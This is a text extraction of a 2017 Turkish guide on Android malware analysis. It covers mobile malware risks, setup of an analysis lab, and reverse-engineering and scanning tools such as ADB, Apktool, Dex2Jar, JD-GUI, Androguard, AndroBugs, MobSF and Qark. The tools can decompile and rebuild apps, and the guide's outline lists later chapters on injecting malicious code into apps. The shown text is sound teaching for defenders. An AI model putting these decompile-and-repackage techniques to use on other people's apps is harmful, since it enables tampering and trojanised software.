SlideShare uma empresa Scribd logo
1 de 127
BGA Bilgi Güvenliği A.Ş. | www.bgasecurity.com | @BGASecurity
	
	
	
ANDROID ZARARLI
YAZILIM ANALİZİ VE
GÜVENLİK
YAKLAŞIMLARI
	
	
	
	
	
	
	
	
	
Yazar:	Mücahit	Emre	Ceylan	
Mentör:	Burcu	Yarar	
Baskı:	2017
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
İÇİNDEKİLER	
	
	
	
GİRİŞ 4	
Neden	Mobil	Güvenlik? 5	
Zararlı	Yazılım	ile	Neler	Yapabilir? 7	
Lab	Ortamının	Kurulması	ve	Tersine	Mühendislik	Araçları 9	
Android	SDK	(Software	Development	Kit)	ve	Android	Studio	Kurulumu 9	
Android	Emulatör	Kurulumu 10	
ADB	(Android	Debug	Bridge)	Kurulumu	ve	Kullanımı 12	
BusyBox 16	
Apktool 17	
Dex2Jar 19	
JD-GUI 20	
Androguard 21	
AndroBugs 24	
MobSF 25	
Qark 28	
Droidbox 30	
Android	Mimarisi	ve	Güvenlik	Yaklaşımı 38	
APP	COMPONENTS 41	
Activities 41	
Services 41	
Broadcast	Receivers 41	
Content	Providers 42	
Uygulama:	Kilit	Ekranınız	Rootlu	Telefonunuzda	Sizi	Koruyor	Mu? 43	
SMS	Okunması 43	
Pattern	Tespiti 44	
Statik	Analiz 48	
Obfuscation 62	
Dinamik	Analiz	ve	Network	Analizi 68	
Log	Analizi 69
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Memory	Analizi 72	
Uygulama 75	
Network	Analizi 77	
Android	Studio	ile	Tcpdump 79	
Genymotion	ile	Tcpdump 79	
Uygulama 79	
Tersine	Mühendislik	Teknikleri	İle	Uygulama	İçeriğini	Değiştirme 81	
Tersine	Mühendislik	Teknikleri	İle	Mevcut	Uygulama	İçerisine	Zararlı	Kod	Ekleme 86	
Uygulamaları	Birleştirme 100	
Gerçek	Hayattan	Zararlı	Yazılım	Analizi	Uygulama	Örnekleri 103	
Simplocker	Statik	Analiz 105	
Referanslar 126
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
GİRİŞ	
Bu	döküman	Mobil	Güvenlik	alanına	ilgisi	olan	ya	da	bu	alanda	kendini	geliştrimek	isteyen	kişiler	için	
klavuz	niteliğindedir.	Dökümanda	mobil	güvenliğin	neden	önemli	olduğundan,	zararlı	yazılımlar	ile	
neler	 yapılabileceğinden,	 lab	 ortamının	 kurulması	 ve	 tersine	 mühendislik	 araçlarından,	 android	
mimarisi	 ve	 güvenlik	 yaklaşımından,	 tersine	 mühendislik	 teknikleri	 ile	 uygulama	 içeriklerine	
müdehale	etmek	gibi	konulardan	uygulamalı	olarak	bahsedeceğiz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Neden	Mobil	Güvenlik?	
Hayatımızın	 vazgeçilmez	 bir	 parçası	 olmuş	 mobil	 cihazların	 bizler	 için	 önemi	 bilinen	 bir	 gerçektir.	
Taşınabilir	 özelliklerinin	 yanı	 sıra	 	 sahip	 oldukları;	 navigasyon,	 banka	 işlemleri,	 mesaj	 gönderimi,	
fotoğraf	 çekimi,	 müzik	 arşivi,	 video	 oynatıcısı,	 bilet	 alımı,	 alışveriş	 yapabilme,	 gazete	 ve	 gündem	
takibi	 gibi	 	 farklı	 cihazların	 sunduğu	 	 özellikleri	 tek	 bir	 	 bütün	 halinde	 karşımıza	 çıkarmaktadırlar.	
Bunun	sonucu	olarak	mobil	cihazlar	diğer	cihazların	aksine		daha	çok		kitleye	ivmesel	bir	artışla	hitap	
etmektedirler.	
	
Facebook	 Büyüyen	 Pazarlar	 Ölçümleme	 Yöneticisi	 “Rishi	 Sexena”	 da	 “Televizyon	 50	 milyon	
kullanıcıya	13	yılda,	mobil	cihazlar	ise	2	milyar	kullanıcıya	10	yılda	erişti.”	diyerek	günümüzde	mobil		
devrimin	yaşandığını	ve	mobil	cihazların	hayatımızdaki	yeri/önemini	bir	kez	daha	vurgulamıştır.	Peki	
bu	durum	ülkemizde	nasıl?	sorusuna	cevap	vermek	gerekirse	2016	yılında	yapılan	istatistiki	değerlere	
göre	Türkiye	nüfusunun	%90’ının	mobil	aboneliğinin	bulunduğu	ve	yaklaşık	olarak	71	milyon	kişinin	
ise	mobil	bağlantıya	sahip	olduğunu	tespit	edilmiştir.	
	
Dünya	üzerinde	yıllık	olarak	toplam	indirilen	mobil	uygulama	sayısı		ise	2016	yılında	149.3	milyar	iken	
2021	yılında	352.9	olması	beklenmektedir.			
	
	
	 						
Yapılan	 araştırmalarda	 bir	 akıllı	 telefonda	 ortalama	 26	 indirilmiş	 uygulama	 bulunduğu	 ancak	
bunlardan	 her	 hafta	 düzenli	 kullanılanların	 sayısının	 10’dan	 az	 olduğu	 görülmüştür.	 İndirilen	
uygulamalardan	 hiç	 şüpheye	 düşmeden	 indirdiğimiz	 uygulamalar	 GPS,	 NFC,	 bluetooth,	 kamera,	
mikrofon,	SMS	ve	QR	kod	okuyucu	gibi	özelliklere	sahiptirler.	Söz	konusu	uygulamalar	sahip	oldukları	
bu	özellikler	aracılığı	ile	sürekli	olarak	dışarıdan	bilgi	toplamaktadırlar.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Peki	 hassas	 bilgilerimizi	 tuttuğumuz	 ve	 sürekli	 olarak	 internete	 bağlı	 bulunduğumuz	 bu	 mobil	
cihazlarda	güvenliğimizden	ne	kadar	bahsedebiliriz?		
	
Diğer	bir	açıdan	bakacak	olursak;	
	
Kontrolsüz	 büyümesi	 ile	 dünyayı	 saran,	 henüz	 uygulama	 geliştiricilerinin	 bile	 tam	 denetim	 sahibi	
olamadığı	 uygulamalara	 sahip	 olan	 ve	 neredeyse	 bedenimize	 yapışık	 halde	 bizimle	 dolaşan;	 en	
mahrem	bilgilerimizi	bulundurduğumuz	bu	akıllı	cihazların	güvenliğini	ne	kadar	önemsiyoruz?	
	
	
	
Telefonlarınızı	 yabancı	 ellere	 emanet	 etmek	 bir	 kenara	 en	 yakınlarınızın	 bile	 elinde	 görmekten	
rahatsız	oluyorsunuz.	Kilit	ekranı,	parmak	izi	gibi	önlemlerle	bunu	engellemeye	çalışıyorsunuz.	Ama	
sizi	 her	 dakika	 gözlemleyebilen,	 bulunduğunuz	 yeri,	 görüntünüzü,	 görüşmelerinizi	 kısacası	 size	 ait	
olan	her	özele	erişim	sağlayabilen	art	niyetli	telefon	yazılımlarının	olduğunu	biliyor	muydunuz?
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Zararlı	Yazılım	ile	Neler	Yapabilir?	
Zararlı	 yazılım	 olarak	 tercüme	 edebileceğimiz	 “malware”	 kelimesi;	 gizlice	 cihazları	 kontrol	 etmek,	
özel	 bilgileri	 ele	 geçirmek	 ya	 da	 cihaz	 sahibinden	 para	 çalmak	 amacıyla	 yazılmış	 kötü	 niyetli	
yazılımlara	verilen	addır.	Bir	zararlı	yazılımın	yapabilecekleri,	bir	yazılım	geliştiricinin		hayal	gücünden	
farksız	ve	hatta	bazen	fazladır.		
	
Genelde	 insanların	 birçoğu	 telefon	 şarjının	 hızlı	 tükenmesinden	 şikayetçi	 olduklarını	 duymaktayız.	
Oysaki	 birçok	 insan	 telefonlarında,	 	 çoğu	 zaman	 farkında	 dahi	 olmadan	 özünde	 çok	 tehlikeli	 olan	
zararlı	yazılımları	barındırmaktadırlar.	Peki	bu	zararlı	yazılımlardan	neden	korkmalıyız?		
	
Çünkü	zararlı	yazılımlar;	
	
● Parola	bilgilerinizi	
● Banka	hesaplarınızı	
● Konum	bilgilerinizi	
● Nelerden	hoşlandığınızı	
● Mesaj	geçmişlerinizi	çalabilirler.	
	 Hatta;	
● Telefon	görüşmelerinizi	kayıt	altına	alarak	sizden	habersiz	başka	kişilere	satabilir.	
Ayrıca;	
● Sizden	habersiz	başka	kişilere	spam	mesajı	yollayabillir,	
● Sizden	habersiz	telefon	aramaları	yapabilir,	
● Sizden	habersiz	veri	kullanıp	paketlerinizi	bitirebilir,	
● İzinsiz	olarak	istenmeyen	reklamlar,	spamlar,	cinsel	içerikli	görüntüler	gösterebilir,	
● Batarya	güç	tüketiminizi	arttırarak,	şarj	sürenizi	azaltabilirler.	
	
Her	 10	 mobil	 cihazdan	 3’ünün	 tehlike	 altında	 olduğu	 günümüzde,	 zararlı	 yazılımlar	 şu	 yollarla	
bulaşmaktadırlar;	
	
● Zararlı	bir	uygulamanın	kullanıcı	tarafından	indirilip	çalıştırılması,	
● Sürüm	güncellemesi	almayan	ya	da	alındığı	halde	güncellenmeyen	zafiyetli	işletim	sistemleri	
bulunan	cihazların	kullanılması,	
● Şüpheli	e-postaların	açılması,	
● Güvenli	olmayan	Wi-Fi	ağlarına	bağlanılması	ve	güvensiz	URL	adreslerinin	ziyaret	edilmesi,	
● Aldatma	 amacıyla	 gönderilen	 mesajlara	 ve	 yapılan	 aramalara	 cevap	 verilmesi	 gibi	 yollarla	
bulaşmaktadırlar.	
	
Geçmişten	günümüze	birçok	zararlı	yazılım	ile	karşılaşılmış,	önlemler	alınmaya	çalışılmıştır.	
	
Bunların	birkaçından	bahsedecek	olursak;	
	
Tarihte	etkisini	büyük	çapta	gösteren	ve	ilk	bilinen	mobil	zararlı	yazılım	 DroidDream’dır.	Telefonu	
root	ederek	kişiye	ait	hassas	bilgileri	sunucuya	gönderen	bu	zararlı	yazılım,	başka	uygulamaları	da	
kullanıcı	gibi	indirebilme	özelliğine	sahiptir.	Piyasaya	yayılması	ise	mağazada	bulunan	50’den	fazla
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
uygulamanın	 crack’li	 versiyonlarının	 zararlı	 kod	 enjekte	 edilmiş	 şekilde	 tekrar	 mağazalara	 ve	
internete	sunulması	gerçekleşmiştir.	
	
Coinminer,	mobil	cihazınızın	CPU’sunu,	hafızasını	ve	internet	bağlantınızı	kullanarak	sanal	para	
üretme	amacıyla	çalışan	bir	zararlı	yazılımdır.			
	
Stagefright	 zararlısı	 ise	 telefon	 tarihindeki	 en	 kötü	 bug	 olarak	 bilinmektedir.	 Söz	 konusu	 zararlı,	
android	 işletim	 sistemi	 kaynaklı	 bir	 zafiyet	 sebebiyle	 saldırgana	 hedef	 cihaza	 mesaj	 yollayarak	 ele	
geçirme	hakkı	verir.	Bu	zafiyetten	başınızın	ağrıması	için	sadece	size	kötü	niyetli	mesajın	gelmesi	ve	
android	sürümünüzün	bu	zafiyeti	barındırıyor	olması	yeterlidir.	
		
Vermiş	 olduğumuz	 zararlı	 yazılım	 örneklerinden	 de	 referans	 alabileceğimiz	 gibi	 zararlı	 yazılıma	
yakalanma	 riskimizi	 azaltmak	 ve	 kişisel	 verilerimizi	 koruma	 ihtiyacımızı	 gidermek	 için	 mobil	
cihazımızı;	
	
● Rootlamadan/Jailbreak	yapmadan	kullanmalı,	
● Mümkün	olduğunca	sistem	güncellemelerini	yapmalı,	
● Sistem	güncellemeleri	alan	ürünleri	tercih	etmeli,	
● VPN	gibi	encrypt	teknolojileri	ile	network	trafiğinde	verilerimizi	koruma	altına	almalıyız.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Lab	 Ortamının	 Kurulması	 ve	 Tersine	 Mühendislik	
Araçları	
Analiz	 ortamını	 sanallaştırmak	 ve	 fiziksel	 bir	 cihaza	 ihtiyaç	 duymadan	 işlemlerinizi	 kolaylaştırarak	
güvenli	bir	ortam	sağlamak	için	“Android	Emulatör”	kullanılmalıdır.	Çalışan	bir	Android	Emulatör’e	
sahip	olabilmek	için	ise	“Android	SDK	(Software	Development	Kit)”	e	ihtiyacınız	vardır.	
Android	 SDK	 (Software	 Development	 Kit)	 ve	 Android	 Studio	
Kurulumu	
SDK,	sanal	android	cihaz	kurulumu	için	gerekli	olan	uygulamaları	barındıran;	android	geliştiricileri	için	
hazırlanmış	uygulama	paketidir.	Android	Studio’yu	indirerek	hem	geliştirme	ortamı	hem	de	Android	
SDK’yı	temin	edebilirsiniz.		
	
Android	Studio’	yu	aşağıdaki	linkten	indirebilirsiniz.	
	
● https://developer.android.com/studio/index.html	
	
İlgili	linkte	yer	alan	.zip	uzantılı	Android	Studio	paketini	indirdikten	sonra	öncelikle	64	bit	bir	sistem	
kullanıyorsanız	gerekli	olan	32	bit	kütüphaneleri	aşağıdaki	sistemler	için	verilen	komutları	kullanarak	
indirebilirsiniz.	
	
Debian	tabanlı	sistemler	için;	
	
sudo	apt-get	install	libc6:i386	libncurses5:i386	libstdc++6:i386	lib32z1	libbz2-1.0:i386	
	
Fedora	için;	
	
sudo	yum	install	zlib.i686	ncurses-libs.i686	bzip2-libs.i686	
	
- Bu	aşamayı	tamamladıktan	sonra	unzip	komutu	ile	indirmiş	olduğunuz	zip	dosyasını	açılır.	
	
- Ardından	cd	android-studio/bin/	komutu	ile	“bin”	dizinine	geçiş	yapmalır.		
	
- Son	olarak	“sh	studio.sh”	ile	Android	Studio	yükleme	penceresi	başlatılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
		
Android	Emulatör	Kurulumu	
	
Bu	 çalışmada	 daha	 kullanışlı	 olmasından	 dolayı	 Android	 Emulatör	 olarak	 “Genymotion”	 tercih	
edilmiştir.	Genymotion’ı;	
	
● https://www.genymotion.com/account/create/	adresinden	ücretsiz	üyelik	alarak	
● https://www.genymotion.com/download	adresinden	deneme	sürümünü	indirebilirsiniz.	
	
Bunun	dışında	da	dilediğiniz	Android	Emulatör’ü	kullanabilirsiniz.		
	
Kurulum	için;	
	
- Öncelikle	indirmiş	olduğunuz	dosya	içerisindeki	.bin	uzantılı	dosyaya	“chmod	+x”	komutu	ile	
yürütme	 yetkisi	 verdikten	 sonra	 “./genymotiondosyaismi.bin”	 şeklinde	 kurulumunu	
başlatabilirsiniz.	
	
- Aşağıdaki	gibi	bir	ekran	ile	karşılaşacaksınız.	
	
	
	
	
- Bu	ekranda	“Add”	butonuna	tıklayarak	dilediğiniz	bir	sanal	android	cihazı	kurabilirsiniz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
- İstediğiniz	 android	 cihazı	 seçtikten	 sonra	 son	 olarak	 “Next”	 butonu	 ile	 	 kurulumu	
tamamlamalısınız.	
	
- Tüm	 bu	 işlemlerden	 sonra	 cihazınız	 gerekli	 kurulumları	 yaparak	 kullanıma	 hazır	 hale	
gelecektir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
ADB	(Android	Debug	Bridge)	Kurulumu	ve	Kullanımı	
	
ADB,	 fiziksel	 ya	 da	 sanal	 emulatör	 farketmeksizin	 yapmak	 istediğimiz	 işlemleri	 çok	 daha	 hızlı	 bir	
şekilde	tamamlamamıza	olanak	sağlayan	ve	bilgisayarımızla	mobil	cihazımız	arasında		köprü	görevi	
gören	 terminal	 arayüzü	 uygulamasıdır.	 	 ADB	 sayesinde	 mobil	 cihaz	 üzerindeki	 dizinlerde	 hareket	
edebilir,		kurulu	paketleri	listeleyebilir,	SMS	gönderimi,	telefon	araması	gibi	özellikleri	kullanabiliriz.	
	
Android	Studio	ile	beraber	indirmiş	olduğumuz	bu	araç		“~/Android/Sdk/platform-tools”		dizininde	
bulunmaktadır.	Araçla	alakalı	birkaç	temel	komuta	bakacak	olursak;	
	
adb	 devices:	 Bu	 komut	 bağlı	 olan	 cihazları	 gösterir.	 Şekilde	 192.168.56.101	 IP	 adresinde	 gözüken	
cihaz	Genymotion	ile	oluşturduğumuz	cihazdır.		
	
	
	
adb	shell:	Bu	komut	ise	android	cihazda	shell	almamızı	ve	linux	komutlarını	çalıştırmamızı	sağlar.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Eğer	birden	fazla	cihaz	bilgisayarımıza	bağlı	ise	shell	almak	istediğimiz	cihaz;	
	
- Emulatör	ise	
	 	
adb	--e	shell	
	
- Fiziksel	cihaz	ise	
	 	 	
adb	--d	shell	
	
komutlarını	kullanırınız.	
	
Çok	daha	fazla	cihaz	arasından	seçim	yapılacak	ise;	
	
adb	--s	X.X.X.X:SSS	shell	
	
komutu	 ile	 seçim	 yapılabilir.	 Buradaki	 X’	 ler	 “adb	 devices”	 komutundaki	 IP	 adresini	 S’ler	 ise	 port	
numarasını	temsil	etmektedir.			
	
Shell	içerisinde	cihazımızda	kurulu	olan	paketleri	görebilir.	Dizinler	arası	geçiş	yapabiliriz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Yukarıdaki	 ekran	 görüntüsünde	 de	 görüldüğü	 gibi	 shellimiz	 “root”	 yetkilerinde	 çalışmakta,	
“/data/data”	 dizinine	 sahip	 olduğumuz	 yetkiler	 sayesinde	 ulaşabimekte	 ve	 “pm	 list	 packages”	
komutu	ile	kurulu	olan	paketleri	görebilmekteyiz.	
	
adb	push:	Bu	komut	ile	android	cihaza	dosya	gönderebiliriz.	
	
	
	
	
	
	
adb	pull:	Bu	komut	ile	android	cihazdan	dosya	indirebiliriz.	
	
screencap:	Bu	komut	ile	android	cihazdan	ekran	görüntüsü	alabiliriz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
ADB	uygulaması		kullanılarak,	çalışan	bir	uygulama	üzerinde	ekrana	sayısı	verilen	miktarda	rastgele	
basarak	uygulamayı	“stress	testi”	adı	verilen	teste	tabi	tutabiliriz.	Bunun	için	örnek	olarak	1000	kez	
ekrana	rastgele	girdi	veren	komut	şu	şekildedir;	
	
adb	shell	monkey	-p	your.package.name	-v	1000	
		
Son	olarak	ADB	uygulamasını	kullanarak	cihazımıza	uygulama		yükleyebilir	ya	da	silebiliriz.	
	
	
	
İndirilen	uygulamaya	ait	arayüz	aşağıda	verilmiştir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Yüklü	paketleri	listeleyerek	de	ilgili	uygulamanın	kurulu	olduğunu	gözlemleyebiliriz.	İlgili	uygulamayı	
silmek	 istediğimizde	 ise	 “uninstall”	 komutunu	 silmek	 istediğimiz	 ilgili	 paket	 ismiyle	 birlikte	
kullanmamız	yeterli	olacaktır.	
BusyBox	
ADB	aracında	olduğu	gibi,	mobil	cihaz	üzerinde	shell	alma		amacıyla	ortaya	çıkmıştır.	ADB	aracının	
barındırmadığı	Linux	komutlarını	da	içermektedir.	Genymotion	ile	kurulu	olarak	gelmektedir.	“adb”	
ile	 shell	 alındıktan	 sonra	 cd	 komutu	 ile	 /system/xbin	 dizinine	 gidilerek	 ./busybox	 komutunun	
uygulanması	ile	ilgili	komutlar	listelenebilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Apktool	
Bir	.apk	dosyasını	açmaya	çalıştığımızda	karşımıza	çıkan	yapı	şu	şekildedir;	
	
	
	
“.dex”	formatında	olan	bu	yapıyı	anlamlandırabilir	hale	getirmek	için	decompile	etmeliyiz.	Apktool	
android	.apk	dosyalarını	decompile	etmek	için	kullanılan	araçtır.	Decompiler	sonucunda	smali	adını	
verdiğimiz	ara	kodları	elde	ederiz.	
	
.dex	<------------------>	.smali	<---------------------	java	source	code	
	
Apktool’un	son	versiyonunu;	
	
● https://ibotpeaches.github.io/Apktool/	
	
adresinden	indirebilirsiniz.		
	
İndirmiş	olduğunuz	jar	dosyası	decompiler	etmek	için	“d”	parametresi	ile	çalıştırmalısınız.	
	
	
	
Decompiler	sonucunda;	
● Resources	(xml	dosyaları	ve	resimler)	
● Manifest	File	
● Yml	Dosyası	(sdk	ve	versiyon	bilgisi)	
● Smali	Dosyası		
oluşmaktadır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Oluşan	dosyalara	ait	örnek	bir	ekran	görüntüsü	aşağıda	verilmiştir.	
	
	
	
Buradaki	manifest	dosyasını	açtığımızda	neredeyse	orjnaliyle	aynı	bir	manifest	dosyası	elde	ettiğimizi	
görüyoruz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Ayrıca		ApkTool	sadece	decompiler	yapma	işlemi	için	değil,	aynı	şekilde	decompiler	edilmiş	bir	apk	
dosyasını	 derleme	 yaparak	 paketleme	 işlemi	 için	 de	 kullanılmaktadır.	 Bunun	 için	 “b”	 (build)	
parametresi	kullanılır.	
	
	
Dex2Jar	
Bir	 diğer	 tersine	 mühendislik	 aracımız	 olan	 Dex2Jar	 	 “.dex”	 formatında	 yer	 alan	 apk	 içerisindeki	
dosyaları	“.jar”	uzantılı	java	binary		dosyalarına	çevirir.		
	
.jar	uzantılı	java	binary	dosyalarına	dönüştürülmüş	olan	bu	dosyalar	başka	bi	java	decompiler	aracı	
kullanılarak	rahatlıkla	kaynak	koda	dönüştürülebilir.	
	
Bu	aracı	aşağıdaki	linkten	indirebilir;	
	
● https://sourceforge.net/projects/dex2jar/?source=typ_redirect	
	
ve	programını	açarak		“./d2j-dex2jar.sh”	aracılığıyla	çalıştırabilirsiniz.	
	
	
	
	
	
Yukarıdaki	 ekran	 görüntülerinde	 de	 görüldüğü	 gibi	 örnek	 olarak	 “BGA_Mucahid.apk”	 uygulaması	
decompiler	edilerek	“output.jar”	dosyasına	dönüştürülmüştür.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
JD-GUI	
	
JD-GUI	 programı,	 dex2jar	 programı	 ile	 decompiler	 ettigimiz	 “.jar”	 uzantılı	 java	 binary	 dosyalarını	
source	koda	çevirmemize	yarayan	bir	decompiler	aracıdır.	Kullandığınız	işletim	sistemine	göre	uygun	
versiyonu;	
	
● https://github.com/java-decompiler/jd-gui/releases	
	
adresinden	indirebilirsiniz.	
	
Bununla	alakalı	kısa	bir	örnek	yapacak	olursak	adımlar	şu	şekildedir;	
	
- Öncelikle	 indirmiş	 olduğumuz	 .jar	 uzantılı	 JD-GUI	 programını	 “java	 -jar	 jd-gui-1.4.0.jar”	
komutuyla	çalıştırıyoruz.	
	
- Sonra	grafik	arayüze	sahip	olduğumuz	programımızda	“File”	sekmesinden	“Open	File”	tuşuna	
basarak	gelen	dizin	ekranından	az	önce	“Dex2Jar”	programı	ile	oluşturduğumuz	“output.jar”	
dosyasını	seçiyoruz.			
	
- Bu	işlemleri,	oluşturulmuş	olan	output.jar	dosyasını	JD-GUI	içerisine	sürükle	bırak	yaparak	da	
bu	işlemleri	kısa	yoldan	tamamayabilirsiniz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Decompiler	işlemi	sonucunda	ise	android	geliştiricinin	yazmış	olduğu	kodları	elde	ediyoruz.	
	
	
	
Androguard	
Statik	 analiz	 yapmak	 için	 geliştirilmiş	 olan,	 birden	 fazla	 özelliği	 içinde	 barındıran	 kullanışlı	 bir	
programdır.	Dex2Jar	+JDGui’nin	beraber	kullanılması	gibi	düşünülebilir.	İçerisinde	birden	fazla	araç	
barındırmaktadır.	
	
Bu	aracı	Debian	sunucularında	paket	olarak	indirmek	için;	
	
● https://packages.debian.org/stretch/amd64/androguard/download	
	
linkini	kullanabilirsiniz.	
	
İndirmiş	olduğunuz	“.deb”	paketini,	ilgili	dizine	giderek	şu	şekilde	kurabilirsiniz.	
	
	
	
“-s”	paremetresiyle	IPython	üzerinden	çalıştırılan	toolumuza	analizini	yapacağımız	apk	dosyasını,	“a”	
değişkenine	atayarak	tanımladık.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Statik	 analizde	 tekrar	 kullanacağımız	 bu	 program	 üzerinde	 çok	 daha	 fazla	 detaya	 girmeden	 örnek	
kullanım	üzerinde	apk	dosyasının	sahip	olduğu	izinler,	uygulama	ismi,	main	activitiy	ismi	ve	bütün	
activitiy	 isimleri	 listelenmiştir.	 Activitiy	 tanımı	 ve	 bizler	 için	 önemi	 Android	 Mimarisinde	
bahsedilecektir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Son	olarak	Androguard	uygulamasının	androlyze	den	ibaret	olmadığını	ve	şu	uygulamaları	
barındırdığını	belirtmekte	fayda	var;	
	
● Androaxml	
● Androsim	
● Androdd	
● Apkviewer	
● Androapkinfo	
Aşağıdaki	 ekran	 görüntüsünde	 örnek	 olarak	 “Androaxml”	 kullanılarak	 XML	 formatındaki	 manifest	
dosyasının	“.apk	“uzantılı	dosyadan	elde	edilmiş	hali	gösterilmiştir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
AndroBugs	
AndroBugs	 zafiyet	 araştırmalarında	 karşımıza	 çıkan	 	 ve	 tersine	 mühendislik	 tekniklerini	 kullanarak	
statik	 analiz	 yapan	 python	 ile	 yazılmış	 bir	 programdır.	 İşin	 ofansif	 kısmının	 yanı	 sıra	 uygulama	
hakkında	 da	 kritik	 bilgileri	 detaylı	 bir	 rapor	 ile	 bize	 sunduğu	 için	 analiz	 kısmı	 için	 de	 oldukça	
önemlidir.	
	
Programı;	
	
● https://github.com/AndroBugs/AndroBugs_Framework	
	
adresinden	indirerek	ve	-f	parametresine	analiz	edilmek	istenilen	programı	vererek	çalıştırabiliriz.		
	
	
	
Program,	analizi	yapılan	“.apk”		dosyasının	hangi	kritik	bilgileri	içerdiği	raporunu	Androbugs	
içerisindeki	“Reports”	klasörü	altında	sunar.	
	
	
	
Yukarıdaki	ekran	görüntüsünde	görüldüğü	üzere	[Critical]	[Warning]	[Notice]	[Info]	başlıkları	alltında	
.apk	 dosyası	 hakkındaki	 bilgiler	 karşımıza	 çıkmaktadır.	 	 Apk	 içerisinde
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
'Runtime.getRuntime().exec("...")'.	 fonksiyonunun	 bulunduğu	 ve	 bunun	 kritik	 bir	 bilgi	 olduğunu	
belirtmiştir.	
	
MobSF		
Mobile	 Security	 Framework	 kelimelerinin	 kısaltması	 olarak	 karşımıza	 çıkan	 bu	 araç,	 mobil	
uygulamaların	 statik	 analizini	 yapmak	 	 için	 oluşturulmuştur.	 	 Python	 programlama	 diliyle	 yazılan	
MobSF,	web	arayüzü	kullanmaktadır.	Dinamik	analiz	özelliği	de	kazandırılmış		olan	MobSF	oldukça	
kullanıcı	dostu	ve	kullanışlı	bir	programdır.	
	
Bu	aracı;	
	
● https://github.com/MobSF/Mobile-Security-Framework-MobSF	
	
adresinden	 indirerek	 aşağıdaki	 ekran	 görüntüsünde	 verilen	 dizine	 gidierek	 ilgili	 komut	 ile	
başlatabilirsiniz.	
	
	
	
	
Daha	sonra	tarayıcınızdan	http://localhost:8000/		adresine	giderek	arayüze	erişim	sağyabilirsiniz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Upload	butonuna	 tıklayarak	 ilgili	 apk	 dosyası	 seçilir.	 Eğer	 analizini	 yapmak	 istediğiniz	 apk	 da	 hata	
alıyorsanız,	 muhtemelen	 “requirements.txt”	 dosyasında	 yer	 almayan	 farklı	 bir	 django	 versiyonu	
kullanıyorsunuzdur.	Sırasıyla	“python	manage.py	migrate”	ve	“python	manage.py	makemigrations”		
komutlarını	uygulamanız	sorunu	giderecektir.	
	
	
	
Dosya	analizi	yapıldıktan	sonra	şekildeki	gibi	çeşitli	bilgiler	ekrana	gelecektir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Qark	
Zafiyet	 tarama	 ve	 kod	 analizi	 araçlarından	 bahsettikten	 sonra	 LinkedIn	 Pentester’	 ları	 tarafından	
Black	Hat’te	sunumu	yapılan,	gelecekte	çok	daha	güçlü	bir	araç	olacağı	söylenen	Qark	zafiyet	tespiti	
ve	exploitationda	kullanılan	açık	kaynak	kodlu	statik	analiz	yapan	bir	araçtır.		
	
Bu	aracı;	
	
● https://github.com/linkedin/qark	
	
adresinden	indirebilirsiniz.		Araç		“/qark-master/qark/”	dizini	altında	“qarkMain.py”	adında	python	
uzantılı	bir	dosyanın	çalıştırılması	ile	başlamaktadır.	
	
“python	 qarkMain.py”	 komutu	 ile	 başlatılan	 program	 Android	 SDK	 indirmek	 istiyor	 musunuz	
sorusuyla	bizi	karşılamaktadır.	
	
	
	
Android	 SDK	 kurulumunu	 daha	 önceden	 gerçekleştirdiğimiz	 için	 bu	 soruya	 “N”	 	 diyerek	 	 SDK’nın	
yolunu	 verebilirsiniz.	 Android	 Studio	 ile	 kurduğumuz	 SDK	 	 “/home/KullanıcıAdınız/Android/Sdk”	
yoluna	sahiptir.	
	
	
	
Analiz	yapmak	için	bir	APK	mı	yoksa	kaynak	kodu	mu	vereceğimizi	sormaktadır.	1	numaralı	APK	
seçeneğini	seçiyoruz.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
APK	 yolunu	 mu	 yoksa	 adb	 programını	 öğrenirken	 yaptığımız	 gibi	 cihazdan	 mı	 uygulama	 çekmek	
istediğimizi	soruyor.	1	numaralı	yol	verme	seçeneğini	seçiyoruz.	
	
	
	
